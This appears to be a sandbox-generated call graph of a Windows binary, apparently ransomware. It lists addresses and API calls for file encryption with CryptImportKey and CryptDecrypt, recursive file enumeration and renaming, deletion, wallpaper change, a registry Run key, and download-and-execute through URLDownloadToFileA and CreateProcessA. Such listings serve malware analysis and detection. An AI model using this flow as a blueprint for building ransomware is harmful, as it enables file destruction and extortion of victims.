5644->5646 5644->5662 5647 402196 ReadFile 5646->5647 5646->5662 5648 4021b3 5647->5648 5647->5662 5649 4021c3 ReadFile 5648->5649 5648->5662 5650 4021ea ReadFile 5649->5650 5649->5662 5651 402208 ReadFile 5650->5651 5650->5662 5652 402226 5651->5652 5651->5662 5653 402233 CloseHandle CreateFileW 5652->5653 5654 4022f9 CreateFileW 5652->5654 5656 402264 SetFilePointer ReadFile 5653->5656 5653->5662 5655 40232c 5654->5655 5654->5662 5676 404af0 5655->5676 5658 402297 5656->5658 5656->5662 5660 4022a4 SetFilePointer WriteFile 5658->5660 5658->5662 5659 40234d 5661 402372 5659->5661 5665 404af0 4 API calls 5659->5665 5660->5662 5663 4022ce 5660->5663 5661->5662 5681 40a150 5661->5681 5662->5636 5663->5662 5664 4022db SetFilePointer SetEndOfFile 5663->5664 5667 402497 SetFileTime 5664->5667 5665->5661 5668 4024e0 _local_unwind2 5667->5668 5669 4024bc CloseHandle MoveFileW 5667->5669 5668->5636 5669->5668 5671 402477 SetFilePointerEx SetEndOfFile 5671->5667 5672 4023e0 ReadFile 5672->5662 5673 4023a7 5672->5673 5673->5662 5673->5671 5673->5672 5688 40b3c0 5673->5688 5677 404b04 EnterCriticalSection CryptDecrypt 5676->5677 5678 404afc 5676->5678 5679 404b3b LeaveCriticalSection 5677->5679 5680 404b2d LeaveCriticalSection 5677->5680 5678->5659 5679->5659 5680->5659 5682 40a184 5681->5682 5683 40a15e ??0exception@@QAE@ABQBD _CxxThrowException 5681->5683 5684 40a197 ??0exception@@QAE@ABQBD _CxxThrowException 5682->5684 5685 40a1bd 5682->5685 5683->5682 5684->5685 5686 40a1d0 ??0exception@@QAE@ABQBD _CxxThrowException 5685->5686 5687 40a1f6 5685->5687 5686->5687 5687->5673 5689 40b3d0 ??0exception@@QAE@ABQBD _CxxThrowException 5688->5689 5690 40b3ee 5688->5690 5689->5690 5691 40b602 ??0exception@@QAE@ABQBD _CxxThrowException 5690->5691 5699 40b410 5690->5699 5692 40b5ba 5694 40b0c0 4 API calls 5692->5694 5700 402424 WriteFile 5692->5700 5694->5692 5696 40b4cf ??0exception@@QAE@ABQBD _CxxThrowException 5698 40b4ed 5696->5698 5697 40b59c ??0exception@@QAE@ABQBD _CxxThrowException 5697->5692 5698->5692 5698->5697 5698->5700 5707 40adc0 5698->5707 5699->5696 5699->5698 5699->5699 5699->5700 5701 40b0c0 5699->5701 5700->5662 5700->5673 5702 40b0d0 ??0exception@@QAE@ABQBD _CxxThrowException 5701->5702 5703 40b0ee 5701->5703 5702->5703 5706 40b114 5703->5706 5713 40a9d0 5703->5713 5706->5699 5708 40add0 ??0exception@@QAE@ABQBD _CxxThrowException 5707->5708 5709 40adee 5707->5709 5708->5709 5710 40ae14 5709->5710 5716 40a610 5709->5716 5710->5698 5714 40a9e1 ??0exception@@QAE@ABQBD _CxxThrowException 5713->5714 5715 40a9ff 5713->5715 5714->5715 5715->5699 5717 40a621 ??0exception@@QAE@ABQBD _CxxThrowException 5716->5717 5718 40a63f 5716->5718 5717->5718 5718->5698 5719->5599 5720->5601 5738 4046b0 5721->5738 5723 4046f8 5724 404709 5723->5724 5725 4046fc 5723->5725 5727 404711 CryptImportKey 5724->5727 5728 40473e 5724->5728 5743 404770 5725->5743 5731 404760 5727->5731 5732 404731 5727->5732 5750 4049b0 CreateFileA 5728->5750 5731->5604 5733 404770 3 API calls 5732->5733 5735 404738 5733->5735 5734 40474c 5734->5731 5736 404770 3 API calls 5734->5736 5735->5604 5737 40475a 5736->5737 5737->5604 5739 4046b7 CryptAcquireContextA 5738->5739 5740 4046e0 5739->5740 5741 4046d7 5739->5741 5740->5723 5741->5739 5742 4046dd 5741->5742 5742->5723 5744 404788 5743->5744 5745 40477a CryptDestroyKey 5743->5745 5746 40479d 5744->5746 5747 40478f CryptDestroyKey 5744->5747 5745->5744 5748 404703 5746->5748 5749 4047a4 CryptReleaseContext 5746->5749 5747->5746 5748->5604 5749->5748 5751 404a1b _local_unwind2 5750->5751 5752 404a09 GetFileSize 5750->5752 5751->5734 5752->5751 5753 404a25 5752->5753 5753->5751 5755 404a38 GlobalAlloc 5753->5755 5755->5751 5756 404a49 ReadFile 5755->5756 5756->5751 5757 404a64 CryptImportKey 5756->5757 5757->5751 5758 404a81 _local_unwind2 5757->5758 5758->5734 5760 40c8f0 #823 5759->5760 5761 4026e4 5760->5761 5762 40c8f0 #823 5761->5762 5763 402706 swprintf FindFirstFileW 5762->5763 5764 40274d 5763->5764 5778 4027b4 5763->5778 5798 402e00 5764->5798 5766 40276a #825 5768 402e00 2 API calls 5766->5768 5767 4027d4 wcscmp 5770 40295d FindNextFileW 5767->5770 5771 4027ee wcscmp 5767->5771 5772 4027a0 #825 5768->5772 5769 402978 FindClose 5776 40298d 5769->5776 5780 4029b9 5769->5780 5770->5769 5770->5778 5771->5770 5773 402808 swprintf GetFileAttributesW 5771->5773 5775 402ace 5772->5775 5777 4028b6 wcscmp 5773->5777 5773->5778 5774 4029ef swprintf DeleteFileW swprintf DeleteFileW 5781 402a6a #825 5774->5781 5782 402a4f 5774->5782 5775->5617 5776->5780 5788 402560 59 API calls 5776->5788 5777->5770 5779 4028d0 wcscmp 5777->5779 5778->5767 5778->5769 5778->5770 5791 402856 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5778->5791 5804 402af0 _wcsnicmp 5778->5804 5779->5770 5784 4028e6 wcscmp 5779->5784 5780->5774 5790 4026b0 84 API calls 5780->5790 5786 402a94 5781->5786 5787 402aba #825 5781->5787 5793 402a66 5782->5793 5830 402e90 5782->5830 5784->5770 5789 4028fc ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5784->5789 5786->5787 5795 402e90 2 API calls 5786->5795 5787->5775 5788->5776 5792 402da0 8 API calls 5789->5792 5790->5780 5826 402da0 #823 5791->5826 5796 4028a3 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5792->5796 5793->5781 5795->5786 5796->5770 5799 402e7a 5798->5799 5803 402e10 5798->5803 5799->5766 5800 402e4c #825 5801 402e6d 5800->5801 5800->5803 5801->5766 5802 402e40 #825 5802->5800 5803->5800 5803->5802 5805 402b12 wcsstr 5804->5805 5806 402b1f 5804->5806 5805->5806 5807 402b30 _wcsicmp 5806->5807 5808 402be9 _wcsicmp 5806->5808 5811 402b42 5807->5811 5812 402b4d _wcsicmp 5807->5812 5809 402c07 _wcsicmp 5808->5809 5810 402bfc 5808->5810 5813 402c21 _wcsicmp 5809->5813 5814 402c16 5809->5814 5810->5778 5811->5778 5815 402b67 _wcsicmp 5812->5815 5816 402b5c 5812->5816 5813->5778 5814->5778 5817 402b81 _wcsicmp 5815->5817 5818 402b76 5815->5818 5816->5778 5819 402b90 5817->5819 5820 402b9b _wcsicmp 5817->5820 5818->5778 5819->5778 5821 402bb5 wcsstr 5820->5821 5822 402baa 5820->5822 5823 402bc4 5821->5823 5824 402bcf wcsstr 5821->5824 5822->5778 5823->5778 5824->5808 5825 402bde 5824->5825 5825->5778 5827 402dbf 5826->5827 5835 402f10 5827->5835 5829 402de4 5829->5796 5831 402ed0 #825 5830->5831 5832 402eb1 5830->5832 5831->5782 5833 402ec4 #825 5832->5833 5834 402ebd 5832->5834 5833->5831 5834->5831 5836 402f40 5835->5836 5843 403044 5835->5843 5837 402f68 5836->5837 5842 402fdb 5836->5842 5839 402f74 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5837->5839 5840 402f6e ?_Xran@std@ 5837->5840 5838 403035 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5838->5843 5844 402f85 5839->5844 5840->5839 5841 402fc0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5841->5829 5842->5838 5845 402ff5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5842->5845 5843->5829 5844->5841 5846 402fa1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5844->5846 5847 403006 5845->5847 5846->5841 5848 402fb7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 5846->5848 5847->5829 5848->5841 5850 404770 3 API calls 5849->5850 5851 401fac 5850->5851 5852 404770 3 API calls 5851->5852 5853 401fb4 5852->5853 5853->5853 5855 401fe3 5853->5855 5856 401fd0 GlobalFree 5853->5856 5854 40200c 5854->5621 5855->5854 5857 401ff9 GlobalFree 5855->5857 5856->5855 5857->5854 5858->5623 5859->5625 6112 403560 6113 40358c #4376 6112->6113 6114 40356e GetExitCodeThread 6112->6114 6115 403593 6113->6115 6114->6113 6114->6115 6510 40db60 send 6511 409f60 RectVisible 6512 401760 #6453 6513 401791 WaitForSingleObject TerminateThread CloseHandle 6512->6513 6514 4017b8 6512->6514 6513->6514 6515 40193e 6514->6515 6516 4018f6 6514->6516 6517 4017d8 sprintf fopen 6514->6517 6518 401915 6516->6518 6521 401903 rand 6516->6521 6519 401834 8 API calls 6517->6519 6520 4018da #1200 6517->6520 6518->6515 6522 401939 #1200 6518->6522 6519->6515 6520->6515 6521->6518 6522->6515 5860 40a070 DrawTextA 5861 404070 #693 5862 404088 5861->5862 5863 40407f #825 5861->5863 5863->5862 6117 408d70 6118 408e09 GetDeviceCaps 6117->6118 6120 408eb0 6118->6120 6126 408ed8 6118->6126 6121 408eba GetDeviceCaps GetDeviceCaps 6120->6121 6120->6126 6121->6126 6122 4090b6 #2414 6123 408f51 _ftol _ftol 6123->6126 6124 408fca _ftol _ftol _ftol 6125 409024 CreateSolidBrush #1641 6124->6125 6124->6126 6125->6126 6126->6122 6126->6123 6126->6124 6127 409048 FillRect #2414 6126->6127 6128 409083 #2754 6126->6128 6127->6126 6128->6126 6246 404670 6251 404690 DeleteCriticalSection 6246->6251 6248 404678 6249 404688 6248->6249 6250 40467f #825 6248->6250 6250->6249 6251->6248 6523 409b70 #2379 6530 403f70 6535 403f90 #2414 6530->6535 6532 403f78 6533 403f88 6532->6533 6534 403f7f #825 6532->6534 6534->6533 6535->6532 6536 404f70 #4476 6537 404f91 6536->6537 6538 404fc7 #3089 6536->6538 6537->6538 6539 404f9b 6537->6539 6252 403271 #2302 #2302 6253 406a00 #4476 6254 406a23 6253->6254 6256 406a62 6253->6256 6255 406a38 #3089 6254->6255 6254->6256 6255->6256 6257 406a46 #3089 6255->6257 6257->6256 6258 406a54 #3089 6257->6258 6258->6256 6259 401600 6260 4016e5 6259->6260 6261 40161a 6259->6261 6262 4016e9 #537 6260->6262 6266 4016de 6260->6266 6263 40161d 6261->6263 6264 40168f 6261->6264 6282 401970 #3092 #6199 #800 6262->6282 6268 401743 #2385 6263->6268 6271 401628 #537 6263->6271 6272 40165e 6263->6272 6265 401693 #537 6264->6265 6264->6266 6281 401970 #3092 #6199 #800 6265->6281 6266->6268 6270 401701 SendMessageA #2385 6279 401970 #3092 #6199 #800 6271->6279 6272->6266 6275 401663 #537 6272->6275 6273 4016ab SendMessageA #2385 6280 401970 #3092 #6199 #800 6275->6280 6276 401640 #2385 6278 40167b #2385 6279->6276 6280->6278 6281->6273 6282->6270 6540 403f00 6545 403f20 #2414 6540->6545 6542 403f08 6543 403f18 6542->6543 6544 403f0f #825 6542->6544 6544->6543 6545->6542 5531 413102 __set_app_type __p__fmode __p__commode 5532 413171 5531->5532 5533 413185 5532->5533 5534 413179 __setusermatherr 5532->5534 5543 4133b2 _controlfp 5533->5543 5534->5533 5536 41318a _initterm __getmainargs _initterm 5537 4131de GetStartupInfoA 5536->5537 5539 413212 GetModuleHandleA 5537->5539 5544 4133e6 #1576 5539->5544 5542 413236 exit _XcptFilter 5543->5536 5544->5542 5872 404410 SetCursor 5864 403810 WideCharToMultiByte 5867 403e60 SendMessageA #3998 SendMessageA 5864->5867 5866 403845 5867->5866 5868 403410 #4476 5869 403454 #3089 5868->5869 5870 403431 5868->5870 5871 40343b 5869->5871 5870->5869 5870->5871 6129 401110 #2302 6546 404310 6547 404333 6546->6547 6548 40433a #470 #5789 #5875 #6172 6546->6548 6549 4044c0 7 API calls 6547->6549 6550 40438a #5789 #755 6548->6550 6549->6548 6551 401f10 6552 401f30 6 API calls 6551->6552 6553 401f18 6552->6553 6554 401f28 6553->6554 6555 401f1f #825 6553->6555 6555->6554 6289 40ca19 6290 40ca26 6289->6290 6291 40ca28 #823 6289->6291 6290->6291 6134 409920 6139 4098c0 6134->6139 6137 409938 6138 40992f #825 6138->6137 6140 4098f2 #5875 6139->6140 6141 4098fb 6139->6141 6140->6141 6141->6137 6141->6138 6301 405a20 6302 405a25 6301->6302 6305 4130bb 6302->6305 6308 41308f 6305->6308 6307 405a4a 6309 4130a4 __dllonexit 6308->6309 6310 413098 _onexit 6308->6310 6309->6307 6310->6307 5874 409c20 #3797 5875 409c40 #6734 5874->5875 5876 409c36 5874->5876 5877 409c5b SendMessageA 5875->5877 5878 409c78 5875->5878 5877->5878 5879 409ce4 5878->5879 5880 409caa 5878->5880 5881 409cf6 5879->5881 5882 409ce8 InvalidateRect 5879->5882 5883 409cd4 #4284 5880->5883 5884 409cc4 #4284 5880->5884 5882->5881 5883->5881 5884->5881 6292 401220 6293 4012c2 #2379 6292->6293 6294 401233 6292->6294 6295 401243 SendMessageA KillTimer #4853 6294->6295 6296 40126b SendMessageA 6294->6296 6295->6296 6297 401285 SendMessageA 6296->6297 6298 401297 6296->6298 6297->6298 6298->6293 6299 4012a1 SendMessageA 6298->6299 6299->6293 6300 4012b8 6299->6300 6300->6293 6319 404620 #795 6320 404638 6319->6320 6321 40462f #825 6319->6321 6321->6320 5873 40a020 TabbedTextOutA 5885 408c20 5890 408b40 5885->5890 5887 408c28 5888 408c38 5887->5888 5889 408c2f #825 5887->5889 5889->5888 5891 408bd0 5890->5891 5892 408b78 BitBlt 5890->5892 5894 408bd6 #2414 #640 5891->5894 5895 408bc1 #5785 5892->5895 5896 408bb5 #5785 5892->5896 5894->5887 5895->5894 5896->5894 6311 409a20 6316 4099c0 6311->6316 6314 409a38 6315 409a2f #825 6315->6314 6317 409a03 6316->6317 6318 4099f3 #6170 6316->6318 6317->6314 6317->6315 6318->6317 6560 409b20 6561 409b31 6560->6561 6562 409b33 #6140 6560->6562 6561->6562 5897 413427 5898 41342c 5897->5898 5901 4133fe #1168 5898->5901 5902 413421 5901->5902 5903 413418 _setmbcp 5901->5903 5903->5902 5907 407c30 OpenClipboard 5908 407c42 GlobalAlloc 5907->5908 5909 407ca9 5907->5909 5910 407c64 EmptyClipboard GlobalLock GlobalUnlock SetClipboardData CloseClipboard 5908->5910 5911 407c5b CloseClipboard 5908->5911 5910->5909 6143 402d30 6144 402d73 #825 6143->6144 6145 402d3f 6143->6145 6146 402d40 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N #825 6145->6146 6146->6146 6147 402d72 6146->6147 6147->6144 5904 40d830 inet_addr 5905 40d844 gethostbyname 5904->5905 5906 40d84f 5904->5906 5905->5906 5912 404430 5913 40447b 5912->5913 5914 40443d _TrackMouseEvent #2379 5912->5914 5917 404489 5913->5917 5919 404530 5913->5919 5918 4044a1 SetCursor #2379 5917->5918 5920 4045c1 5919->5920 5921 404552 5919->5921 5920->5917 5921->5920 5922 404559 #289 #5789 GetTextExtentPoint32A #5789 #613 5921->5922 5922->5920 6142 406930 #6215 6322 405230 6329 405369 6322->6329 6332 40525a 6322->6332 6323 405552 InvalidateRect 6328 405560 6323->6328 6324 405285 6325 4052ee 7 API calls 6324->6325 6326 40528f #4277 #923 #858 #800 #800 6324->6326 6325->6323 6326->6323 6327 40539e 6330 405430 6327->6330 6331 4053aa 7 API calls 6327->6331 6329->6323 6329->6327 6336 405390 #940 6329->6336 6333 4054b4 6330->6333 6334 405435 7 API calls 6330->6334 6331->6323 6332->6324 6335 405277 #940 6332->6335 6337 4054b8 6333->6337 6339 405503 6333->6339 6334->6323 6335->6324 6335->6335 6336->6327 6336->6336 6337->6323 6338 4054de #6778 #6648 6337->6338 6338->6338 6340 405501 6338->6340 6339->6323 6339->6328 6341 405529 #6778 #6648 6339->6341 6340->6323 6341->6323 6341->6341 6342 40d630 6347 40d650 6342->6347 6344 40d638 6345 40d648 6344->6345 6346 40d63f #825 6344->6346 6346->6345 6348 40dad0 4 API calls 6347->6348 6349 40d680 6348->6349 6349->6344 6148 402531 6149 402543 6148->6149 6150 40253c CloseHandle 6148->6150 6151 402555 6149->6151 6152 40254e CloseHandle 6149->6152 6150->6149 6152->6151 6350 40ca3a 6353 40ca40 6350->6353 6351 40ca81 6352 40ca87 #825 6352->6351 6353->6351 6353->6352 5923 4068c0 #4837 6354 4032c0 6 API calls 6355 403334 SendMessageA #3092 6354->6355 6357 40335c SendMessageA #3092 6355->6357 6359 40337b SendMessageA #3092 6357->6359 6361 4033a0 SendMessageA 6359->6361 6362 40339d 6359->6362 6365 403cb0 FindFirstFileA 6361->6365 6362->6361 6364 4033b2 SendMessageA #3996 SendMessageA 6366 403cd9 6365->6366 6367 403ce3 6365->6367 6366->6364 6368 403e1f FindNextFileA 6367->6368 6370 403d14 sscanf 6367->6370 6368->6367 6369 403e3a FindClose 6368->6369 6369->6364 6370->6368 6371 403d38 fopen 6370->6371 6371->6368 6372 403d5c fread 6371->6372 6373 403e15 fclose 6372->6373 6377 403d7b 6372->6377 6373->6368 6374 403d8f sprintf 6375 403dd4 SendMessageA #823 SendMessageA 6374->6375 6375->6373 6377->6373 6377->6374 6377->6375 6378 401c30 inet_ntoa 6377->6378 6378->6377 6563 4043c0 #6453 #2414 6564 409fc0 TextOutA 5924 404cd0 5929 404cf0 #2414 #2414 #800 #641 5924->5929 5926 404cd8 5927 404ce8 5926->5927 5928 404cdf #825 5926->5928 5928->5927 5929->5926 4642 4064d0 #4710 SendMessageA SendMessageA 4686 401c70 wcscat 4642->4686 4644 406516 4645 406577 4644->4645 4646 40651d GetModuleFileNameA strrchr 4644->4646 4695 401a10 4645->4695 4647 40656c SetCurrentDirectoryA 4646->4647 4648 40655d strrchr 4646->4648 4647->4645 4648->4647 4650 406585 4651 4065e5 4650->4651 4652 40658c time 4650->4652 4705 402c40 4651->4705 4653 401a10 5 API calls 4652->4653 4653->4651 4655 4065ed __p___argc 4656 406606 4655->4656 4657 40678c 4656->4657 4658 40660f __p___argv 4656->4658 4753 407e80 SHGetFolderPathW wcslen 4657->4753 4660 406621 4658->4660 4663 406661 __p___argv 4660->4663 4664 406652 4660->4664 4661 406793 SetWindowTextW 4756 406f80 4661->4756 4667 40666d 4663->4667 4724 407f80 fopen 4664->4724 4665 4067a9 4814 406c20 GetUserDefaultLangID GetLocaleInfoA 4665->4814 4671 4066ad __p___argv 4667->4671 4672 40669e 4667->4672 4670 4067b0 SetTimer SetTimer 4674 4066b9 4671->4674 4734 4080c0 FindFirstFileA 4672->4734 4674->4657 4676 4066ee Sleep 4674->4676 4711 401bb0 AllocateAndInitializeSid 4676->4711 4678 406734 4679 406750 sprintf 4678->4679 4680 406738 4678->4680 4716 401a90 CreateProcessA 4679->4716 4752 401b50 ShellExecuteExA 4680->4752 4683 40674b 4685 406784 ExitProcess 4683->4685 4684 406781 4684->4685 4688 401cdc 4686->4688 4687 401d00 RegCreateKeyW 4687->4688 4688->4687 4689 401d62 RegQueryValueExA 4688->4689 4690 401d1d GetCurrentDirectoryA RegSetValueExA 4688->4690 4691 401dbb 4688->4691 4692 401d9e RegCloseKey 4689->4692 4693 401d90 SetCurrentDirectoryA 4689->4693 4690->4692 4691->4644 4692->4688 4694 401dc8 4692->4694 4693->4692 4694->4644 4696 401a1a fopen 4695->4696 4698 401a3a 4696->4698 4699 401a6f 4696->4699 4700 401a53 fwrite 4698->4700 4701 401a46 fread 4698->4701 4699->4650 4702 401a5e 4700->4702 4701->4702 4703 401a74 fclose 4702->4703 4704 401a66 fclose 4702->4704 4703->4650 4704->4699 4823 404b70 4705->4823 4707 402c46 4708 402c57 4707->4708 4709 402c5e LoadLibraryA 4707->4709 4708->4655 4709->4708 4710 402c73 7 API calls 4709->4710 4710->4708 4712 401bf6 4711->4712 4713 401bfb CheckTokenMembership 4711->4713 4712->4678 4714 401c10 4713->4714 4715 401c14 FreeSid 4713->4715 4714->4715 4715->4678 4717 401b45 4716->4717 4718 401aed 4716->4718 4717->4684 4719 401af5 WaitForSingleObject 4718->4719 4720 401b26 CloseHandle CloseHandle 4718->4720 4721 401b12 4719->4721 4722 401b05 TerminateProcess 4719->4722 4720->4684 4721->4720 4723 401b1a GetExitCodeProcess 4721->4723 4722->4721 4723->4720 4725 407fd0 fread fclose 4724->4725 4733 406659 ExitProcess 4724->4733 4828 40be90 strncpy strncpy strncpy 4725->4828 4727 408002 4829 40c4f0 4727->4829 4729 40801d 4730 40c4f0 112 API calls 4729->4730 4731 408041 4729->4731 4730->4731 4732 401a10 5 API calls 4731->4732 4731->4733 4732->4733 4735 40820a 4734->4735 4747 408124 4734->4747 5288 401e30 4735->5288 4738 4081e4 FindNextFileA 4739 4081ff FindClose 4738->4739 4738->4747 4739->4735 4740 401e30 2 API calls 4742 408255 sprintf #537 4740->4742 4741 408158 sscanf 4741->4738 4743 408178 fopen 4741->4743 5293 4082c0 4742->5293 4743->4738 4745 408190 fread 4743->4745 4745->4747 4748 4081bd fclose 4745->4748 4747->4738 4747->4741 4747->4748 4748->4738 4748->4747 4749 408291 #537 4751 4082c0 141 API calls 4749->4751 4750 4066a5 ExitProcess 4751->4750 4752->4683 4754 407f02 4753->4754 4755 407f09 swprintf MultiByteToWideChar CopyFileW SystemParametersInfoW 4753->4755 4754->4661 4755->4661 5350 4076a0 4756->5350 4758 406fa8 27 API calls 4759 407119 4758->4759 4760 40711c SendMessageA #3092 4758->4760 4759->4760 4761 40713d SendMessageA #3092 4760->4761 4763 40715f SendMessageA #3092 4761->4763 4765 407181 SendMessageA #3092 4763->4765 4767 4071a3 SendMessageA #3092 4765->4767 4769 4071c5 SendMessageA #3092 4767->4769 4771 4071e7 4769->4771 4772 4071ea SendMessageA #3092 4769->4772 4771->4772 4773 407205 SendMessageA #3092 4772->4773 4775 407227 SendMessageA #3092 4773->4775 4777 407249 SendMessageA #3092 4775->4777 4779 40726b 4777->4779 4780 40726e SendMessageA #860 4777->4780 4779->4780 4781 4072a4 4780->4781 4782 4072ed #537 4781->4782 5366 404210 #858 #800 4782->5366 4784 407309 #537 5367 404210 #858 #800 4784->5367 4786 407325 #540 #2818 #535 5368 404210 #858 #800 4786->5368 4788 407369 5369 404270 4788->5369 4792 4073a8 SendMessageA SendMessageA #6140 #6140 4793 407428 4792->4793 5373 405920 4793->5373 4797 407457 5381 4058c0 4797->5381 4799 407460 5384 405180 _mbscmp 4799->5384 4801 407477 4802 405920 2 API calls 4801->4802 4803 4074ac 4802->4803 4804 405860 2 API calls 4803->4804 4805 4074b5 4804->4805 4806 4058c0 2 API calls 4805->4806 4807 4074be 4806->4807 4808 405180 4 API calls 4807->4808 4809 4074d5 GetTimeZoneInformation 4808->4809 5390 401e60 VariantTimeToSystemTime 4809->5390 4811 407508 SystemTimeToTzSpecificLocalTime #2818 5391 401e60 VariantTimeToSystemTime 4811->5391 4813 40759b SystemTimeToTzSpecificLocalTime #2818 #6334 #800 4813->4665 4815 406c81 SendMessageA 4814->4815 4816 406c5d 4814->4816 4817 406cc1 SendMessageA 4815->4817 4818 406ca1 SendMessageA 4815->4818 4816->4815 4820 406ae0 27 API calls 4817->4820 5398 406ae0 8 API calls 4818->5398 4821 406cdd 4820->4821 4821->4670 4822 406cba 4822->4670 4824 404b81 LoadLibraryA 4823->4824 4825 404b7a 4823->4825 4826 404b96 6 API calls 4824->4826 4827 404bf6 4824->4827 4825->4707 4826->4827 4827->4707 4828->4727 4830 40c50f 4829->4830 4843 40bed0 4830->4843 4832 40c54b 4833 40c596 4832->4833 4862 40dd00 4832->4862 4865 40dbf0 4833->4865 4836 40c5e7 4836->4729 4837 40c568 4837->4833 4838 40c600 4837->4838 4839 40c635 4838->4839 4840 40c617 strncpy 4838->4840 4841 40dbf0 free 4839->4841 4840->4839 4842 40c650 4841->4842 4842->4729 4844 40bef5 4843->4844 4845 40bf0a #823 4843->4845 4844->4845 4846 40bf2e 4845->4846 4847 40bf27 4845->4847 4849 40bf46 4846->4849 4873 40baf0 4846->4873 4869 40d5e0 4847->4869 4849->4832 4852 40bf72 4852->4832 4853 40bf8a GetComputerNameA GetUserNameA 4905 40dc00 4853->4905 4856 40dd00 4 API calls 4857 40c01f 4856->4857 4858 40dc00 4 API calls 4857->4858 4859 40c038 4858->4859 4860 40dd00 4 API calls 4859->4860 4861 40c047 4860->4861 4861->4832 4863 40dc00 4 API calls 4862->4863 4864 40dd1c 4863->4864 4864->4837 4866 40dd70 4865->4866 4867 40dd8b 4866->4867 5284 412ac0 4866->5284 4867->4836 4870 40d602 4869->4870 4914 40dad0 4870->4914 4917 40ba10 4873->4917 4875 40bdf5 4875->4852 4875->4853 4876 40bb14 4876->4875 4877 40bb42 4876->4877 4922 40ba60 4876->4922 4877->4875 4926 40c8f0 #823 4877->4926 4881 40bc1b strtok 4885 40bc30 4881->4885 4896 40bbb7 4881->4896 4882 40ba60 closesocket 4884 40bc8b 4882->4884 4886 40bc92 4884->4886 4887 40bcec GetTickCount srand 4884->4887 4885->4882 4885->4887 4948 40c860 4886->4948 4890 40bdc7 4887->4890 4891 40bd07 rand 4887->4891 4893 40c860 2 API calls 4890->4893 4901 40bd1e 4891->4901 4892 40bcd8 #825 4892->4875 4895 40bde8 #825 4893->4895 4895->4875 4896->4881 4898 40c7b0 #825 4896->4898 4928 40c7b0 4896->4928 4932 40c920 4896->4932 4944 40c800 #823 4896->4944 4897 40ba60 closesocket 4897->4901 4898->4881 4899 40be75 #825 4899->4875 4900 40be11 4900->4899 4960 40c740 4900->4960 4901->4897 4901->4900 4954 40ce50 4901->4954 4906 40dc15 4905->4906 4912 40c013 4905->4912 4907 40dc77 4906->4907 4908 40dc49 4906->4908 4906->4912 5283 412aa0 realloc 4907->5283 5282 412a90 malloc 4908->5282 4911 40dc51 4911->4912 4913 40dc8d ??0exception@@QAE@ABQBD _CxxThrowException 4911->4913 4912->4856 4913->4912 4915 40d61e 4914->4915 4916 40dadf setsockopt send shutdown closesocket 4914->4916 4915->4846 4916->4915 4918 40ba27 4917->4918 4919 40ba2b 4918->4919 4965 40b840 sprintf GetFileAttributesA 4918->4965 4919->4876 4921 40ba31 4921->4876 4923 40ba88 4922->4923 5218 40d8c0 4923->5218 4927 40bb62 strtok 4926->4927 4927->4885 4927->4896 4929 40c7d0 4928->4929 4930 40c7bb 4928->4930 4929->4896 4930->4929 4931 40c7d6 #825 4930->4931 4931->4929 4933 40c932 4932->4933 4934 40c92d ?_Xlen@std@ 4932->4934 4935 40c973 4933->4935 4936 40c963 4933->4936 4937 40c946 4933->4937 4934->4933 4940 40c990 4935->4940 4941 40c7b0 #825 4935->4941 4938 40c7b0 #825 4936->4938 4942 40c94a 4937->4942 5222 40c9c0 4937->5222 4939 40c96c 4938->4939 4939->4896 4940->4896 4941->4937 4942->4896 4945 40c81f 4944->4945 5228 40cad0 4945->5228 4947 40c844 4947->4896 4949 40c8d9 4948->4949 4951 40c870 4948->4951 4949->4892 4950 40c8ab #825 4950->4951 4953 40c8cc 4950->4953 4951->4950 4952 40c8a2 #825 4951->4952 4952->4950 4953->4892 4955 40ce68 4954->4955 4956 40ce5a 4954->4956 4958 40ce94 #825 4955->4958 4959 40bd9e #825 Sleep 4955->4959 4956->4955 4957 40ce6e #825 4956->4957 4957->4955 4958->4959 4959->4890 4959->4891 4961 40c761 4960->4961 4962 40c77e #825 4960->4962 4963 40c775 #825 4961->4963 4964 40c76f 4961->4964 4962->4900 4963->4962 4964->4962 4966 40b898 4965->4966 4967 40b95b CreateProcessA 4965->4967 4982 40b6a0 CreateDirectoryA 4966->4982 4969 40b9b4 4967->4969 4970 40b9bf WaitForSingleObject 4967->4970 4969->4921 4971 40b9e4 CloseHandle CloseHandle 4970->4971 4972 40b9d8 WaitForSingleObject 4970->4972 4971->4921 4972->4971 4973 40b8a9 4974 40b8e9 sprintf GetFileAttributesA 4973->4974 4996 40b780 CreateDirectoryA 4973->4996 4976 40b946 CopyFileA 4974->4976 4977 40b93b 4974->4977 4976->4967 4977->4921 4978 40b8c1 4978->4974 4979 40b780 60 API calls 4978->4979 4980 40b8d9 4979->4980 4980->4974 4981 40b8e0 4980->4981 4981->4921 5004 412920 4982->5004 4985 40b6d8 DeleteFileA 4985->4973 4986 40b6ec 5007 412940 4986->5007 4988 40b70e 4989 40b719 4988->4989 4990 40b76a 4988->4990 4992 412940 14 API calls 4988->4992 4989->4973 5016 412a00 4990->5016 4994 40b738 sprintf 4992->4994 4993 40b770 4993->4973 5013 4129e0 4994->5013 4997 40b81b 4996->4997 4998 40b7ae GetTempFileNameA DeleteUrlCacheEntry URLDownloadToFileA 4996->4998 4997->4978 4999 40b810 DeleteFileA 4998->4999 5000 40b7f6 4998->5000 4999->4997 5001 40b6a0 54 API calls 5000->5001 5002 40b809 5001->5002 5002->4999 5003 40b827 DeleteFileA 5002->5003 5003->4978 5027 4127e0 #823 5004->5027 5006 40b6cf 5006->4985 5006->4986 5008 412964 5007->5008 5009 412959 5007->5009 5010 412969 5008->5010 5053 411cf0 